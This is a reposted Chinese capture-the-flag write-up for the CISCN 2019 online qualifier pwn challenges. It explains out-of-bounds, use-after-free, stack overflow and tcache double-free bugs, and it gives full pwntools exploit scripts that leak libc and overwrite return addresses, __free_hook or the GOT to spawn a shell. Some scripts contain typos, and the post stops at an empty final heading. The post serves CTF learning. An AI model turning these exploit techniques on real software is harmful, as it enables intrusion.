linux sort 0x7f,CISCN2019 国赛线上初赛pwn

转载

笨爪 于 2021-05-16 14:49:14 发布 54 收藏
文章标签： linux sort 0x7f

0x00 写在前面

最后一次参加国赛了额，无论队伍能否走到决赛，我都无缘参赛了，希望队伍能走的更远吧。这次国赛比起前两年的题目要简单的很多，大部分题目都很基础，漏洞点很明显，利用思路也异常清晰。利用毕设的闲暇时间整理下writeup

0x01 your_pwn

程序功能

一直输入name，以及数组中name对应的index。

漏洞位置

在功能函数中，再输入index时没有检测其合法性，导致在之后会有数组越界访问的漏洞。

功能函数

利用思路

虽然本题保护机制全开。

checksec但通过合理利用数组越界可达到栈上任意地址读写的目的。可以定点修改返回地址劫持程序控制流。

第一步，通过任意地址读，找到存在栈上的__libc_start_main + 240偏移后leak出libc基址。

第二步，找到栈上存的返回地址的偏移，并将其写为one_gadget。

第三步，让程序正常返回，劫持程序流到one_gadget来get shell。

my-exp

```
from pwn import *

local = 1

if local:

p = process('./pwn')

else:

p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com' , 57856)#nc 1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com 57856

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def debug():
```

```
print pidof(p)
raw_input()
#step1 leak libc_base
p.recvuntil('name:')
p.sendline('test')
libc_leak = ''
for i in range(637 , 631 , -1):
p.recvuntil('index\n')
p.sendline(str(i))
p.recvuntil('(hex) ')
aa = p.recvuntil('\n')[:-1]
if(len(aa) < 2):
libc_leak += '0' + aa
elif(len(aa) == 8):
libc_leak += aa[-2:]
else:
libc_leak += aa
p.recvuntil('value\n')
p.sendline('1')
print libc_leak
libc.address = int('0x' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240
success('libc_base => ' + hex(libc.address))
one_gadget = 0xf02a4 + libc.address
#step2 overwrite EIP to one_gadget
for i in range(6):
p.recvuntil('index\n')
p.sendline(str(i + 344))
p.recvuntil('value\n')
p.sendline(str(ord(p64(one_gadget)[i])))
#Get Shell & Have Fun
#debug()
```

p.sendline('a')

p.recvuntil('(yes/no)? \n')

p.interactive()

0x02 daily

程序功能

一个记录日报的日记本题目，可指定日报的长度和内容，具有正常的增删查改功能。

漏洞位置

在remove功能中，由于没有对输入的index进行检查，会导致数组越界，造成任意地址free。

remove

利用思路

程序开了除PIE外所有的保护机制。

checksec通过任意地址free，直接free堆头地址，再利用bss留存的堆块指针进行UAF操作。

第一步，正常利用unsort bin进行堆基址和libc基址的leak。

第二步，利用任意地址free，直接将布置好的堆块free到fastbin中。

第三步，利用bss段留存的该堆块指针，进行fastbin attack，将bss段当作堆块申请。

第四步，通过申请到的bss段堆块，将其余堆块指针覆盖为free_hook地址，并通过edit被覆盖的堆块索引，将free_hook写为system地址。

第五步，通过free之前布置好的data为'/bin/sh\x00'的对应Header来get shell。

my-exp

from pwn import *

local = 1

if local:

p = process('./pwn')

else:

p = remote('85c3e0fcae5e972af313488de60e8a5a.kr-lab.com' , 58512)#nc 85c3e0fcae5e972af313488de60e8a5a.kr-lab.com 58512

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def show():

p.recvuntil('choice:')

p.sendline('1')

```
raw = p.recvuntil('===')[:-4]
return raw
def add(length , content):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('daily:')
p.sendline(str(length))
p.recvuntil('daily\n')
p.sendline(content)
def change(index , content):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('daily:')
p.sendline(str(index))
p.recvuntil('daily\n')
p.sendline(content)
def remove(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('daily:')
p.sendline(str(index))
def debug():
print pidof(p)
raw_input()
#step1 leak libc&heap base
for i in range(5):
add(0x80 , '\x00' * 0x5f)
debug()
remove(1)
remove(3)
add(0x80 , '')
```

```
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))
#step2 clear heap
remove(4)
remove(2)
remove(1)
remove(0)
#step3 free2fastbin
add(0x30 , 'a' * 8 + p64(heap_base + 0x10)) #heap_base + 0x18
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)
#step4 fastbin attack : free_hook => system
add(0x41 , '\x00' * 0x40)
change(0 , p64(0x602068))
add(0x30 , '/bin/sh\x00') #heap
add(0x30 , p64(free_hook)) #bss
change(1 , p64(system_addr))
#Get Ghell & Have Fun
remove(0)
p.interactive()
```

0x03 baby_pwn

程序功能

没啥功能，就让输入个东西。

漏洞位置

在vuln函数中存在由read导致的栈溢出漏洞。

vuln

利用思路

程序为32位程序，并且只开了NX保护机制。

checksec由于整个程序中调用函数太少，缺少构造ROP必要的函数，因此考虑采用ret2dl_resolve来get shell。所以用了roptils

my-exp

```
from roputils import *

fpath = './pwn'

offset = 44

rop = ROP(fpath)

addr_bss = rop.section('.bss')

buf = rop.retfill(offset)

buf += rop.call('read', 0, addr_bss, 100)

buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p = Proc(rop.fpath)

p.write(p32(len(buf)) + buf)

print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')

buf += rop.fill(20, buf)

buf += rop.dl_resolve_data(addr_bss+20, 'system')

buf += rop.fill(100, buf)

p.write(buf)

p.interact(0)
```

0x04 Double

程序功能

一个管理输入data的note式程序，含有增删查改功能，并且每次data由一个大小为0x18的结构体管理，该结构体数据结构如下：

```
typedef struct Header{

__int32 index;
```

__int32 length;

char* data;

Header* next_Header;

}Header;

漏洞位置

在增加数据时，如果前后两次输入的data完全一样时，会导致两个Header的content_ptr指向同一个地址，很容易造成UAF漏洞。

add_data

利用思路

对于一道堆题来说几乎没有开什么保护机制。

checksec由于got表可写，于是考虑最终将free_got修改为system()地址来get shell。

第一步，准备通过两个Header指向一个unsort bin大小的data来leak libc基址。

第二步，构造出一个0x18大小的堆块既是Header又是data的布局。

第三步，利用Header2来修改Header3中的data字段，再通过编辑Header3的data达到任意地址写的目的，这里选择将free_got修改为system()。

第四步，通过free之前布置好的data为'/bin/sh\x00'的对应Header来get shell。

堆布局大概如下图所示。

堆布局

my-exp

```
from pwn import *

local = 1

if local:

p = process('./pwn')

else:

p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc
e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

elf = ELF('./pwn')

def add(data):
```

```
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('data:\n')
p.sendline(data)
def show(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(index))
return p.recvuntil('\n----')[:-5]
def edit(index , data):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(index))
sleep(0.1)
p.sendline(data)
def delete(index):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('index: ')
p.sendline(str(index))
def debug():
print pidof(p)
raw_input()
#step1 leak libc_base
add('a' * 0x17) #0
add('a' * 0x17) #1
delete(0)
add('a' * 0x7f) #2
add('a' * 0x7f) #3
```

```
add('/bin/sh\x00') #4

delete(2)

libc.address = u64(show(3).ljust(8 , '\x00')) - 0x3c4b78

system_addr = libc.symbols['system']

free_got = elf.got['free']

success('libc_base => ' + hex(libc.address))

success('system_addr => ' + hex(system_addr))

success('free_got => ' + hex(free_got))

#step2 use UAF to change free_got to system_addr

fake_header = p32(0x3) + p32(0x7f)

payload = fake_header + p64(free_got)

edit(1 , payload)

edit(3 , p64(system_addr))

#Get Shell & Have Fun

delete(4)

p.interactive()
```

0x05 bms

听说远程是Tcache

.....最近恶补了Tcache机制以及FILE结构体后来看这道题就很容易了。

程序功能

进入输入管理员的密码后，是一个菜单类型的题目，管理了一个book的结构体，该结构体数据结构如下：

```
typedef struct Book{

char[0x10] BookName;

char* description;

int length;

}
```

该结构体的大小为0x20字节，有add和delete两个操作，程序有限制最多add10本书，description的大小最大不超过0xFF字节。

漏洞位置

由于这道题当时没有给libc版本，默认为2.23来看好像没有什么漏洞，后来得知远程是2.26的版本，那就很有问题了：在进行delete操作时，并没有检查其description指向的堆块是否已经处于free的状态。

delete

在2.23版本时会直接报double free的错误，无法利用；而在2.26版本中则可利用tcache dup的方法。

利用思路

checksec

这道题目除了PIE外其余保护机制全开，且本题目没有任何输入功能，没有很明显的leak地址的地方，因此考虑用FILE结构体的任意写来达到leak地址的目的，利用思路大概如下：

首先，肯定是要通过逆向的到管理员密码……

第二步，利用delete功能中未检查是否free的漏洞构造tcache dup；

第三步，修改下一个tcache的地址为stdout，再add将其作为description指针申请回去；

第四步，就是在description中伪造fake_FILE，顺理成章地leak出libc基址。

最后，就是故技重施tcache dup，修改free_hook为system，然后free掉/bin/sh\x00的description

my-exp

```
from pwn import *

local = 1

if local:

p = process('./pwn')

else:

print 'time is up'

libc = ELF('libc-2.27.so')

elf = ELF('./pwn')

def check():

p.recvuntil('username:')

p.sendline('admin')

p.recvuntil('password:')

p.sendline('frame')

def add(name , length , description):

p.recvuntil('>')

p.sendline('1')

p.recvuntil('book name:')

p.sendline(name)
```

```
p.recvuntil('size:')
p.send(str(length))
p.recvuntil('description:')
sd(description)
def free(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))
def debug():
print pidof(p)
raw_input()
check()
#step1 use FILE structure to leak libc
add('0' , 0x50 , '0')
#tcache dup
free(0)
free(0)
stdout_addr = got('stdout')
add('1' , 0x50 , p64(stdout_addr))
add('2' , 0x50 , '2')
add('3' , 0x50 , '\x60') #stdout
#fake _IO_2_1_stdout
payload = p64(0xfbad1800) + p64(0) + p64(0) + p64(0) + p64(stdout_addr) + p64(stdout_addr + 8) +
p64(stdout_addr + 8)
# _flags read_ptr read_end read_base write_base write_ptr write_end
add('4' , 0x50 , payload) #_IO_2_1_stdout
libc.address = u64(ru('done!')[:-5].ljust(8 , '\x00')) - 0x3ec760
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
```

```
system_addr = libc.symbols['system']
suucess('system_addr => ' + hex(system))
#step2 overwrite __free_hook with system
add('5' , 0x40 , '5')
#tcache dup
free(5)
free(5)
add('6' , 0x40 , p64(free_hook))
add('7' , 0x40 , '/bin/sh\x00')
add('8' , 0x40 , p64(system_addr))
#Get Shell & Have Fun
free(7)
#debug()
p.interactive()
```

0x06 Virtual